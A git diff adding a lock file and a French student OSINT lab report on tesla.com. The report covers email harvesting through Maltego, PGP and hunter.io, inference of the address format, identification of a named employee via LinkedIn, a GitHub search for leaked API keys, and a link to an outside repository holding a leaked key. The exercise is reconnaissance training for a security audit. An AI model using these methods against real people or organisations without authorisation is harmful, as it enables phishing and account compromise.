"https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" }, + { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" }, + { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" }, + { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" }, + { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" }, + { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" }, + { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" }, + { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" }, + { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" }, + { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" }, + { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" }, + { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" }, + { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" }, + { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" }, + { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" }, + { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" }, + { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" }, + { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" }, + { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" }, + { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" }, + { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" }, + { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" }, + { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" }, + { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" }, + { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" }, +] + +[[package]] +name = "click" +version = "8.4.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9b/98/518d8e5081007684232226f475082b30087d0f585e8457db087298259f49/click-8.4.1.tar.gz", hash = "sha256:918b5633eddf6b41c32d4f454bf0de810065c74e3f7dbf8ee5452f8be88d3e96", size = 353007, upload-time = "2026-05-22T04:08:37.769Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/0d/67e5b4109ea4a837e80daa87c2c696711955e40449a97e8926672534def2/click-8.4.1-py3-none-any.whl", hash = "sha256:482be17c6991b8c19c5429a1e995d9b0efdbb63172824c41f99965dc0ade8ec2", size = 116639, upload-time = "2026-05-22T04:08:35.26Z" }, +] + +[[package]] +name = "click-plugins" +version = "1.1.1.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c3/a4/34847b59150da33690a36da3681d6bbc2ec14ee9a846bc30a6746e5984e4/click_plugins-1.1.1.2.tar.gz", hash = "sha256:d7af3984a99d243c131aa1a828331e7630f4a88a9741fd05c927b204bcf92261", size = 8343, upload-time = "2025-06-25T00:47:37.555Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3d/9a/2abecb28ae875e39c8cad711eb1186d8d14eab564705325e77e4e6ab9ae5/click_plugins-1.1.1.2-py2.py3-none-any.whl", hash = "sha256:008d65743833ffc1f5417bf0e78e8d2c23aab04d9745ba817bd3e71b0feb6aa6", size = 11051, upload-time = "2025-06-25T00:47:36.731Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "filelock" +version = "3.29.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1f/f9/f38573ed5844586db374d085911740a501ccfa373b455fc9413f09f85237/filelock-3.29.1.tar.gz", hash = "sha256:d97e6b1b9757569626c58caa07dc4beb1613f4a2938b1e8cc81afca398906c9e", size = 59335, upload-time = "2026-06-03T15:19:04.053Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4c/a0/614c5fe402fd88951df45f4dda2fa3b4e17a99ecd92340771929169b3b95/filelock-3.29.1-py3-none-any.whl", hash = "sha256:85199dfd706869641b72b2e8955d5416a4b2b7dc4b0e8e6d97b4cc1299a6983b", size = 40750, upload-time = "2026-06-03T15:19:02.959Z" }, +] + +[[package]] +name = "idna" +version = "3.18" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" }, +] + +[[package]] +name = "jour-01" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "censys" }, + { name = "shodan" }, +] + +[package.metadata] +requires-dist = [ + { name = "censys", specifier = ">=2.2.19" }, + { name = "shodan", specifier = ">=1.31.0" }, +] + +[[package]] +name = "markdown-it-py" +version = "4.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "mdurl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + +[[package]] +name = "pygments" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" }, +] + +[[package]] +name = "requests" +version = "2.34.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 142856, upload-time = "2026-05-14T19:25:27.735Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 73075, upload-time = "2026-05-14T19:25:26.443Z" }, +] + +[[package]] +name = "requests-file" +version = "3.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3c/f8/5dc70102e4d337063452c82e1f0d95e39abfe67aa222ed8a5ddeb9df8de8/requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576", size = 6967, upload-time = "2025-10-20T18:56:42.279Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e1/d5/de8f089119205a09da657ed4784c584ede8381a0ce6821212a6d4ca47054/requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2", size = 4514, upload-time = "2025-10-20T18:56:41.184Z" }, +] + +[[package]] +name = "rich" +version = "15.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" }, +] + +[[package]] +name = "shodan" +version = "1.31.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "click-plugins" }, + { name = "colorama" }, + { name = "requests" }, + { name = "tldextract" }, + { name = "xlsxwriter" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c5/06/c6dcc975a1e7d89bc764fd271da8138b318e18080b48e7f1acd2ab63df28/shodan-1.31.0.tar.gz", hash = "sha256:c73275386ea02390e196c35c660706a28dd4d537c5a21eb387ab6236fac251f6", size = 57939, upload-time = "2023-12-17T01:42:02.426Z" } + +[[package]] +name = "tldextract" +version = "5.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "filelock" }, + { name = "idna" }, + { name = "requests" }, + { name = "requests-file" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/65/7b/644fbbb49564a6cb124a8582013315a41148dba2f72209bba14a84242bf0/tldextract-5.3.1.tar.gz", hash = "sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb", size = 126105, upload-time = "2025-12-28T23:58:05.532Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6d/42/0e49d6d0aac449ca71952ec5bae764af009754fcb2e76a5cc097543747b3/tldextract-5.3.1-py3-none-any.whl", hash = "sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9", size = 105886, upload-time = "2025-12-28T23:58:04.071Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "xlsxwriter" +version = "3.2.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/46/2c/c06ef49dc36e7954e55b802a8b231770d286a9758b3d936bd1e04ce5ba88/xlsxwriter-3.2.9.tar.gz", hash = "sha256:254b1c37a368c444eac6e2f867405cc9e461b0ed97a3233b2ac1e574efb4140c", size = 215940, upload-time = "2025-09-16T00:16:21.63Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3a/0c/3662f4a66880196a590b202f0db82d919dd2f89e99a27fadef91c4a33d41/xlsxwriter-3.2.9-py3-none-any.whl", hash = "sha256:9a5db42bc5dff014806c58a20b9eae7322a134abb6fce3c92c181bfb275ec5b3", size = 175315, upload-time = "2025-09-16T00:16:20.108Z" }, +] diff --git a/Semaine_10/Jour_02/TP3_BOICHE_Gauvain.md b/Semaine_10/Jour_02/TP3_BOICHE_Gauvain.md new file mode 100644 index 0000000..d136896 --- /dev/null +++ b/Semaine_10/Jour_02/TP3_BOICHE_Gauvain.md @@ -0,0 +1,112 @@ +# TP3 - Florian POMPIDOU + +PS : tous les passages entre parenthèses et ENTIEREMENT en italiques (*comme cei donc*) sont des appartés, des commentaires que je fais moi en dehors du rapport. Ils apportent précisions ou explications en dehors du rapport, comme s'ils n'existaient pas dans le rapport final. + +Merci d'en tenir compte. + +## Demande client + +> Votre chef de mission a transmis votre rapport JSON d'hier au directeur technique. Retour dans la matinée : + +> "Bonne cartographie technique. Maintenant le client veut savoir s'il est exposé côté humain aussi — est-ce qu'on peut remonter aux admins, aux devs, identifier des patterns d'emails, des fuites de credentials ? Et si on trouve des documents internes accessibles avec des metadata exploitables, c'est un finding critique. Allez-y." + +> Vous définissez votre propre approche. + +## 0. Préparation opérationnelle + +Compte tenu des précédents rapports, il a été établi pour Tesla, avec son domaine principal `tesla.com` : + +- La découverte en surface de plus de 70 sous-domaines, incluant sous-domaines commerciaux et techniques (APIs, environnements de préprod, noms NetBIOS, etc) +- La découverte de ports exposés, avec des services aux CVEs connues +- La cartographie globale de l'environnement technique + +Le client demande maintenant les capacités non plus de surface d'attaque *technique* mais *sociale* : courriels exposés, noms corrélés, identifiants fuités, documents accessibles, etc. + +Pour les besoins d'analyse **passive** (à la demande du client) et pour obtenir ces informations, le choix s'est porté sur la solution **Maltego** en mode **Discret** (Stealth), afin de n'utiliser que des rapports et analyses tierces, sans communication directe avec les serveurs. + +## 1. Première topologie + +Inscrivant le domaine `tesla.com` comme élément de recherche racine, une première topologie des sous-domaines par recherche DNS s'impose : + +![alt text](image.png) + +La transformation des noms DNS en adresses IP permet de retrouver la topologie extraite lors des documents précédents. + +Une recherche de courriels sur la base du domaine racine permet de trouver une surface classique d'adresses accessibles depuis les pages publiques (équivalent "Contactez-nous", "Mentions Légales", etc) : + +![alt text](image-1.png) + +En faisant une recherche selon les signatures PGP (**Pretty Good Privacy**, protocole de chiffrement des courriels) on peut retrouver un serveur commun et tenter de recroiser les informations : + +![alt text](image-5.png) + +De fait, nous pouvons apercevoir des courriels signés de la même façon, et donc par le même serveur central : + +![alt text](image-6.png) + +La structure semble indiquer, exceptions faites de "AlexSmith", "elon" et "elonmusk", la premmière lettre du prénom suivi du nom de famille attaché, sans tiret ni point. + +## 2. Recherche de courriels + +Avec le moteur de recherche dédié `hunter.io`, on peut faire usage d'une recherche de courriels "égarés" (annonces d'emplois, publications sur les réseaux sociaux, cartes de visites, etc) : + +![alt text](image-2.png) + +Le résultat fait état de plus de 500 adresses courriels, donc une majorité génériques, mais aussi celles de personnes, dont les 4 premières révélées nous informent sur le patron de fabrication des adresses : + +![alt text](image-3.png) + +A noter : les trois premiers retours indiquent des profils LinkedIn et plusieurs sources externes à Tesla : + +![alt text](image-4.png) + +La source "driveteslacanada.ca" semble être un site de fan, tandis que "patchwork.ozlabs.org" semble être un site type "Pastebin" + +Conclusion rapide et croisée est faite sur le format : `p`rénom`nom`@tesla.com. Nous pouvons alors reprendre une investigation avec LinkedIn et chercher des employés de haute stature directement [sur la page LinkedIn, section "Personnes"](https://www.linkedin.com/company/tesla-motors/people/) pour trouver une liste relativement à jour des employés actuels, et retrouver leur courriel. + +## 3. Recherche d'individus + +Prenant l'exemple de ["Manal FENNIRI"](https://www.linkedin.com/in/manal-fenniri-a7ab7a150/), Titre "Associate HR Operations and Payroll Specialist", je reprend la structure et utilise un outil ordinaire, en l'occurence "Email Checker" de "MailMeteor" pour vérifier la validité de la structure du courriel : + +![alt text](image-7.png) + +On peut en conclure que la structure est toujours utilisée aujourd'hui. + +Une contre-recherche de courriel à personne permet d'identifier les individus à partir des courriels extraits par recherche PGP, avec quelques ratés/approximations néanmoins : + +![alt text](image-8.png) + +![alt text](image-9.png) + +![alt text](image-10.png) + +## 4. Recherche de fuites d'identifiants + +La diffusion - involontaire ou malveillante - de mots de passe, de Jetons d'accès ou de Clefs APIs est encore monnaie courante. Une recherche sur Github avec des mots clefs ciblés, à savoir en première instance `tesla.com API_KEY=` permet de cibler les croisements entre Tesla et les endroits où la variable `API_KEY=` est définie, formulation standard en base de code, permettant de vérifier la présence de lignes en dur plutôt qu'en dynamique. + +On retrouve effectivement une fuite du service "Boomerang" dans le code source Tesla : + +![alt text](image-11.png) + +(*Il s'agit d'un repo "public-bugbounty-data", donc techniquement pour qu'on repère ce genre de fuite, ça ne compte pas "vraiment". [Par contre j'ai trouvé un guignol non lié à Tesla qui a vraiment fait fuité la sienne.](https://github.com/jmd406-sanjaykumarj/llm-train/blob/46b01b623735da5f7f6bb9bb80f8a83a2f3647d5/scraper.py#L14)*) + +Un script Python `hibp_bulk_checker.py` (*généré par IA*) itérant sur chaque adresse d'un fichier "addresses.txt" permet d'exporter dans un fichier CSV + +## 5. Documents publics + +Les documents accessibles publiquement sur le site sont des notices techniques de véhicules de plusieurs pays différents en plusieurs alphabets différents. Les métadonnées indiquent juste les informations de création des documents, les auteurs et les formats de sortie. Rien ne semble, en surface, exploitable comme tel. + +(*Je n'ai rien trouvé de concret.*) + +## 6. Recommendations finales + +Pour pallier à toutes ces fuites, plusieurs axes d'améliorations, du plus simple (simples rappels de sécurité, modules de formation, etc) au plus complexe (changement de paradigme, matériel de sécurité supplémentaire, rotation complète de la base courriel, etc) : + +1. Pas d'inscription "personnelle" depuis un compte courriel professionnel +2. Pas d'usage multiplié d'un unique mot de passe +3. Activation de l'Authentification a Facteur Multiple dès que possible +4. Pas de génération de clef API sauf nécessité absolue (privilégier accès SSO) +5. Secrets techniques gérés en Coffre-Fort type VAULT +6. Chiffrement courriel géré par le client +7. Adjonction de caractères aléatoires à la structure des courriels (type jsmith038@tesla.com) pour éviter les recoupements +8. Activer le téléversement des documents publics avec suppression totale et définitive des métadonnées \ No newline at end of file diff --git a/Semaine_10/Jour_02/TP3_BOICHE_Gauvain.pdf b/Semaine_10/Jour_02/TP3_BOICHE_Gauvain.pdf new file mode 100644 index 0000000..a4e1c12 Binary files /dev/null and b/Semaine_10/Jour_02/TP3_BOICHE_Gauvain.pdf differ diff --git a/Semaine_10/Jour_02/TP3_BOICHE_Gauvain.zip b/Semaine_10/Jour_02/TP3_BOICHE_Gauvain.zip new file mode 100644 index 0000000..9203c4c Binary files /dev/null and b/Semaine_10/Jour_02/TP3_BOICHE_Gauvain.zip differ diff --git 